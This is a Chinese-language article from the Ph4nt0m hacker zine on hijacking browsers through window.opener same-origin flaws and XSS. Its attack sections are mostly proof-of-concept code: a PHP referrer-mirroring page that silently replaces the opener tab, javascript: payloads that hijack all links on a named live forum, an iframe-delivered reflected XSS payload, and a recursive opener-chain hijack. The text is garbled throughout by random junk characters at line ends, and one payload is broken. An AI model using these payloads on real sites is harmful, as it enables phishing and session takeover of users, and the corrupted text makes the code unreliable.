==Ph4nt0m Security Team==
! j5 A1 U4 W/ z. q/ ?+ i 9 @/ h9 g) S" h& i8 {+ V
Issue 0x03, Phile #0x05 of 0x07 @* P9 e- o* S: K) i8 C* ], R
! U6 }0 J" M- e4 @, G) `1 E' o/ J9 h3 D
|=---------------------------------------------------------------------------=|5 E# N/ g0 s Z* a1 c+ I1 c
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|2 H% o: K& _ D/ S# Z! {1 B+ _. z
|=---------------------------------------------------------------------------=|
. N! J! A: b% O2 e9 r) d|=---------------------------------------------------------------------------=|+ U+ p) X% a% h' c: o
|=------------------------=[ By rayh4c ]=---------------------------=|
& v1 A4 l. X& o( Z; b2 U|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|. [! ^, j9 t* v$ H0 _5 O
|=---------------------------------------------------------------------------=|
& j1 d7 R/ U( b/ R. o% P2 t2 ]
) M% f8 o5 k; }- g$ Z3 w# V( G W1 |4 b4 N( _! a. q) i
[目录]
/ C' Q% y# G! q, n, I" u0 f- V! p2 c5 D7 e% J! h! M/ L( T* S
1. 前言6 ~! C* i! b' G W, _
2. 同源策略简叙
: f* Y) A! t6 F) l3 R3. 理解window对象的同源策略
5 z4 Q" X5 U8 A1 ?4. 窗口引用功能中的同源策略漏洞
. M8 f5 F( x0 ^4 K! {0 ?! V 4.1 父窗口引用子窗口的同源策略问题- f* O8 O& x$ ^4 j. L" \9 R3 _
4.2 子窗口引用父窗口的同源策略问题
$ b0 l5 x. x3 w/ ? `2 W" C5. 利用窗口引用漏洞劫持浏览器$ Q' W) ^1 S2 _* _" |1 Y% G
6. 利用XSS漏洞劫持浏览器/ ]8 \, ]' ]6 h" Y* |) f7 c0 [8 m
6.1 正向跨窗口劫持; {5 d! \( U& @: d, Q1 y7 Q
6.2 反向跨窗口劫持
. n/ p$ _4 G' g$ o6 q$ j( D 6.3 极度危险的跨框架窗口引用劫持
/ q; D6 g" Y" A1 A, `: Y 6.4 极度危险的正反向跨窗口递归劫持
, J+ u/ L7 a8 T. a/ R# c ~ 6.5 完全控制浏览器
- z# [0 o0 S8 {, L/ B7. 后记
4 R/ S$ R2 C/ i8. 参考
+ h$ ~ P7 L- N& I9 q( m( X9 B) v& m
3 [$ _2 c0 m8 h3 Y, e( y0 i( a一、前言; G) n- z, t# S9 Q n
6 N5 M, k7 z2 w R) |3 j6 w' f+ l 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋& }3 `9 j- S4 W1 A9 y- U2 F
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
7 c' G) S0 E2 u8 G劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被+ P2 m( p% U) c7 h n5 i
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
' e; f8 \2 C$ c4 J2 k5 S; a" e3 O: j) g; R P' Z3 R
/ _2 L* e. i6 x5 ]1 `; e二、同源策略简叙8 s& X4 t/ L* {6 f& s/ _
- b+ i8 l$ \% W8 A- t) M, p$ c
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
4 s$ U; N; j6 d0 l: n; u0 {& p从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
! q! S+ b; G" _; b, r曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木4 z2 G) L4 O6 c- U! c
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个) [& u+ A7 o- G
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
& z: N* `0 D, L9 B# S* \
& k* o+ L. h% l4 m
/ g3 E; c: ^) G+ H# i3 q) d y( S三、理解window对象的同源策略- W- ?0 c3 b* x. a3 b* ?
( {) V, c0 M0 {# B
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
6 C/ }" r& J3 L: u象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
- i+ s# _8 e! t, `9 q
& P6 D( {/ J! V7 F--code-------------------------------------------------------------------------3 ^3 {0 {8 t% R" g2 h0 G- a
<script language="javascript">4 p. S( ~' a: D8 H: ?
for(p in window) document.write(p+"<br>");% u: ~! z* G' z& m7 R. v4 q* f
</script>
( v* z; U2 v" b# ]# t-------------------------------------------------------------------------------
7 W+ Z$ h Z$ b. }# J2 Y" f' _: L
, q- P! ]3 c$ i9 j4 b$ T 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方# X, I8 {( A$ \& Q
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
; h5 ~( i4 d9 _4 ]! V& S8 R \这些属性和方法就必须遵循同源策略。 ?9 R6 H+ c( u! j& Y5 G
; t) P. Q+ |2 {5 Z
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
/ d. O1 r9 _, G: {5 O- p么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
2 [( R& L/ U! J# B% K+ G; K3 D0 M的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这9 A$ R7 T& k! U; R
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
: {; j" t6 [/ j( w) A7 b值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location S( L; i# q2 {1 Y9 L
属性并没有被拒绝访问。
% t# d# U$ d; O) Z" X0 h) r* M6 y
5 C+ q( F. [. l2 n$ n- |--demo.html--------------------------------------------------------------------
+ g, i1 q6 q; t2 e) P5 U' O0 ?<script language="javascript">
9 T/ j- f7 b$ }! t( }$ d- ifunction allPrpos(obj) { ; G4 m9 [$ j, r' K4 V3 [$ U0 V
var props = "<table><tr><td>名称</td><td>值</td>";
# B2 o; L$ t4 O+ s8 i9 Q9 T for(var p in obj){
# ]% I9 ~" q8 C% S' R# j if(typeof(obj[p])=="function"){ $ k' ]8 ], I# m2 \* `
obj[p]();
5 S2 v( _: a1 j$ j$ n7 q }else{
3 w! d! Y4 M. h5 J8 u& \% U try 2 h! H" m& l0 E6 T
{
2 k/ O, t& Q2 L- H props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
& ~: f7 Y2 ]' W/ i( u p1 X: { }
( Y6 | [' u4 k catch (ex) 7 q9 f6 R& [2 O- S6 d* w3 c8 } j
{
; z& q h3 g+ P& L) K
* Q% G2 E4 ?( q0 N G. V: E props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; # v" Z4 U% I& q c6 Y# H
}
) A: ^. ~* N# W% e: T
; s: ?/ F& ^5 G2 H) j) _" v } ' h, Q: L( t5 O/ N# e
}
+ | C) T$ A+ Z: o2 D( l" I0 u | 3 ?& F* V3 T+ _* C2 r) ^
document.write(props+"</table>");
2 V" w; o: G# ~3 z/ p4 G4 r} 4 Q3 U P7 Y3 p2 e+ \
5 u, C3 E y1 ~+ Q" `; tfunction createWin() {7 Y8 [5 q: \ `8 S* T
newWin = window.open ("http://www.google.com");
% z# F$ j' L( Z/ i. i! ~ setTimeout(function(){allPrpos(newWin)},2000); . e7 q+ F, a- B- J5 W: K! C
}
. r% m/ A8 A& Z6 d' E ]6 E2 ]+ `: e3 o! I/ u0 A
</script>
: X. h# `1 s5 a& U$ W" R+ i" S/ l' z/ ]5 c" r- l
<button onclick='createWin()'>创建一个非同源子窗口测试</button>, X7 r* n) V. l( N" @, U1 U
-------------------------------------------------------------------------------
- D0 w- Z# \7 C. L, L! ~7 L3 |$ v! r, }
- A- k6 N0 a" v
四、窗口引用功能中的同源策略漏洞
' E' s0 p- F+ t7 V" [# g6 j# o
4.1 父窗口引用子窗口的同源策略问题- l4 F" i: T# f5 {; j
& J/ F( h4 c) N6 |" F
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
- J2 I1 J' D4 }7 `* A. v( Q) q但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道( b8 n! c k& X% _$ H
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
0 b* r$ W1 j+ y p. i- {行测试,会发现父窗口可以控制非同源子窗口location属性值。) F0 ^6 X2 u8 O4 k& H" B
4 H- i' L$ N5 m9 k4 {- ~! U4 c--vul1.html--------------------------------------------------------------------
. E4 Q3 ^% `8 Z2 ? ~( Z0 ? Q<script language="javascript"> . d- ~ Y4 ~9 d* p
function createWin() {
* T" @- `0 a* H( J, C# m newWin = window.open ("http://www.google.com"); 8 H4 [/ l# `! Z, D, J
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); ' | U8 \$ l9 G% r1 A
} R" Y% D0 `4 p9 B0 A) C
</script>8 _0 ` R" @$ \9 @* @. e/ S) _
; M6 r: g) S$ G6 H<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 G4 ~$ t# [- W- {-------------------------------------------------------------------------------' \1 z) k! U7 b# U* p9 K& f& T6 U: W
# _- z! \" M7 x3 Y: Y
8 u9 m/ `/ A9 v/ K2 ]4.2 子窗口引用父窗口的同源策略问题
7 P- T7 ^7 P7 Z' ?
* I- W7 O- g) j. } w% b6 i 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使2 Z) }1 ]2 f& u6 s* j9 Y8 s( Y2 P
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
; j- ]: k: F5 [; ~6 I$ r; o5 p可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定# i+ d$ e! d7 c C) e, ?+ q& A
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
' Z' _, \4 \+ Q/ f" O5 C* O# r1 l G: F4 t* Q& k
--code-------------------------------------------------------------------------
$ m6 x( N, B2 P2 Z3 r8 e1 l4 r# H G( j- k( p# Y9 t
javascript:window.opener.location = "http://www.80sec.com";void(0);
- x* N9 K `4 N2 j! }: M: u D1 ?0 x; k4 Y0 c
-------------------------------------------------------------------------------( f8 ^! S" h b$ U: q1 q* [) U
$ h- \7 |" D. M V& I9 O
3 m* R/ a6 @; ^9 W3 S& C
五、利用窗口引用漏洞劫持浏览器
7 C, m2 g4 o/ a( ^
/ ~2 ?$ V" d" x1 {! c 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子$ y" B( j" D9 N
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那" y1 j* V3 @+ b/ }2 u" _3 }0 ]
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
; ^. e" G# _& X6 O( ?& T o, P( x
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
: i9 }* [ \, ~( ~$ `生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
+ C8 l8 W6 W1 ]% _5 J8 r者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接* V7 m2 [& Q. `+ [4 [' S# q
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下0 v9 ^* f) _- u7 r
会产生什么可怕的后果。8 j, b: K9 U9 M9 p9 t9 M
1 o' q7 D& x" E3 C, a' G2 c- R
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
! a( ~0 F9 R0 r们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php$ I/ [! V6 `, B! h% l) n- S3 Q
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时# N8 N+ y3 k0 h' Y
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可; T0 ?* n! Q f i* m5 ?
以做更多的事情,所有的一切仅仅是因为点击了一个链接。6 O& x+ h+ Z8 \0 g& T5 V! l5 r
" t2 Y3 r3 c) P0 |8 i. Z) i: S& u$ Y
--hjk_ref.php------------------------------------------------------------------/ _% F) z( Q8 o& P ]% H& e% m
<?php U& \, m0 h# a% G5 d
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
6 }" Y8 c5 F k$ W/ ~& Z9 n$Url_Mirror = $_SERVER["HTTP_REFERER"];- q2 [7 a! _8 {9 e4 F8 i' z+ C
}
! j" \# X5 z! H3 E: Z4 Fif(isset ($_GET['ref'])) {5 s! D% t4 m! L% m2 T, ?
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';& i- b' T& L, Y: z; ~* G( ?7 \3 D* L
}
. A, h. V4 J" \' j?>
5 _$ @: u+ ? n# m9 J, X s( d2 b6 ]$ t6 Q! h; T8 m
<script language="javascript">
: n8 n1 Z$ @9 e- m7 DsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
0 J' }0 b2 k! K</script># j& Q( m# T9 b1 z# S- s
------------------------------------------------------------------------------- W% _2 f2 a6 }, t
" ?2 ~) c& I# f- @3 B2 y0 i
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
/ T8 b- n5 p4 i3 r1 c. n' s$ `: W
. n7 a& l3 H0 b$ }! F
0 d' G0 L+ [( n4 Q六、利用XSS漏洞劫持浏览器3 k! K0 y9 Z' D1 j
4 o, Y, x% L- [5 [
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
( M+ q, t- {6 y" Z4 H- f# z持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
; N! X* I. ^# H# XXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
! A% a9 @% @0 m: d F讨论跨站师的终极技巧:5 M7 \& @: n8 g2 |+ W. N- d% n
1 P% ~6 c* Q4 Z" } }1 X
. d& n7 Y# B/ M2 r* `4 H$ {1 |
6.1 正向跨窗口劫持) z9 B" i( c0 Y1 e9 W0 q
% L; x& G D" R( Q/ D, L
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛1 v2 {- H' r3 v" \
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链3 L' d/ ~6 U2 H" N+ E9 b$ j
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
- a+ {7 Y3 C! o' Y. W+ R4 V框脚本。
% v' y: j8 c; W* ~1 { w& t- P# E* z$ [* T
--hijack_open.js---------------------------------------------------------------: V: L3 @2 B+ m2 e) F, ?2 p$ d+ \
$ }: k7 t" u5 h+ Y) j) B3 B, r
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
& S0 ^4 a8 c9 I0 J3 K! H0 ]$ W' e/ A. ?% Z" z1 ]
-------------------------------------------------------------------------------6 Z/ t! B: S- z9 o ^1 w! Y: `
3 e0 I7 N* q4 a$ I$ E6 v; I( R4 `4 N! i+ O
6.2 反向跨窗口劫持
5 z( D2 O" D3 C1 a/ B) {9 q5 p+ l7 H b
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代# }8 U# H" t- g) p
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
w; J: m, Y$ X2 J5 l# W框脚本。 i/ F7 I+ t# O- N8 F6 C& u$ @
" Z2 |! l! m0 `
--hijack_opener.js------------------------------------------------------------- R9 i5 C3 P0 N4 p) }2 r
0 ]7 b2 J* n+ |& z2 b4 Mjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
* ~3 m/ B( ?& a1 e6 w2 |6 c. V; e6 \* o. C5 T1 D
-------------------------------------------------------------------------------7 @$ P* ^% G Y1 T2 F
0 k: R) e- F( }! v+ ]9 |) _- F$ c' Y& {8 A c2 T- l" J
6.3 极度危险的跨框架窗口引用劫持
; x9 U/ g; w/ u% M% C+ H* m+ k) g) O1 X( h
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞1 j6 O3 f3 H, P/ B v0 s1 {
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就$ a" J2 c% b; _9 N- c* g: e
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个2 h0 @8 I. x( s' v6 X+ S. ~$ Q
非持久型的XSS,如下:
6 D+ Y" D( F( j A! O3 b6 ]
: ]1 _. J* s! ^9 s! |/ M# ^" x$ j<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>2 b |( J5 P: c, B9 [( E* p- V
) j+ `$ U# H) O
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
$ R$ L' Z8 g! G' t2 j v. u) M3 B注入脚本。/ W9 j) s& w3 E$ s2 |" L( F, `
# P0 j0 `% e+ L: V8 g--hijack_frame_opener.js-------------------------------------------------------
5 ]& B: q2 I5 R. T) z<script>
- u- x; [- Z5 `% Twindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
4 j7 J. w8 F. U& q; Z</script>
" M- w Y7 {- c7 h, R-------------------------------------------------------------------------------4 g, A1 U) W. @. n, Y: y0 n; r
5 h( P# Z* \% {* `0 v( t2 `
# M; N( R0 _8 F/ M" x: U$ a) Q
6.4 极度危险的正反向跨窗口递归劫持/ p) \3 ?: q5 ~! j! r1 [
# {+ J9 m. O9 y( V5 d
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
2 _3 ?( F U5 `+ k0 x* O3 d% w5 i的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过5 X1 c7 s" R. k2 \6 c/ H
异常处理规避之间跨域页面的访问异常,代码如下:
+ s) c* [$ o: O, [! x5 N, g$ b
: a* p' f a X, O- [+ b/ s2 O--code-------------------------------------------------------------------------* c: v0 [# c' p1 p1 }% n
2 [) D* o/ K: {
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);/ V0 o& ^& n3 [4 H: e/ P5 r
( H$ p( h( e" Z& S% Y( b* U-------------------------------------------------------------------------------$ G6 h3 k& W, W7 t
" `0 _) f/ _6 i7 t* h% J
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可0 V {" E1 w& g I. b. C
以劫持B域之前的A域页面,从而实现“隔空打击”。7 P7 [1 Q# L% {' u! D0 [) z
# N5 d8 x t0 X- B$ k
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
" L/ J/ l; t, h. j执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
0 T- K) Z' }' G9 ^$ J& m. }5 Y. h0 h+ P
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。, b% @. @3 V" ?: `+ S# c
/ @. B# m0 A3 A- S1 D
* d. A& D2 |* |+ q0 f7 f
6.5 完全控制浏览器% V, I) {5 t; X0 V/ n5 r
o- x) ~/ s! ?% B1 A0 P, K+ a, Y+ z
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则* z5 D) V5 Y" X5 S% q
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
; d' v5 i& v }/ `9 ^漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
], ]& ]6 ]* ?* y而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
3 u$ q* e- F7 R3 o& n9 e; b2 ?列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站/ c, w5 T4 }0 ]# u$ \& m
师的终极目标 - 完全控制浏览器。/ F( [4 m# r! F0 X
: Z+ u* p0 I2 Q" Z* a
+ h+ p6 p/ ?+ a" \4 I; @' F
七、后记! J; o. y" ^* J0 F% X
. n; @. i) c; R9 q* P 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全0 k% y! b) ]; ?' y% k2 L" m
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予% ?' A8 F, b6 h. x
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
7 B$ f$ I# G0 R4 |
/ R0 y6 k; W( @% x3 {' _; F+ N4 m1 d# Z) z/ W$ f' m
八、参考5 u8 p- e6 J5 n# s: H
* b1 l8 J. f/ M0 v! U1. http://en.wikipedia.org/wiki/Same_origin_policy
7 p0 ^% \. K- E1 |! @% ] J2. http://code.google.com/p/browser ... licy_for_DOM_access
4 t, s- ~6 t' K5 [ D$ {5 n1 \3. http://www.w3.org/TR/Window/! t7 A m! \( R, w8 y
4. http://www.80sec.com/release/browser-hijacking.txt
; K8 a* i2 t+ y5. http://www.80sec.com/all-browser-security-alert.html
4 |; J7 t7 ?' [; p6 k2 E+ b ~6. http://www.80sec.com/ms08-058-attacks-google.html
* }+ T" n* _+ h- D0 w) m3 z4 L# f+ o3 A- j; _' D
-EOF- |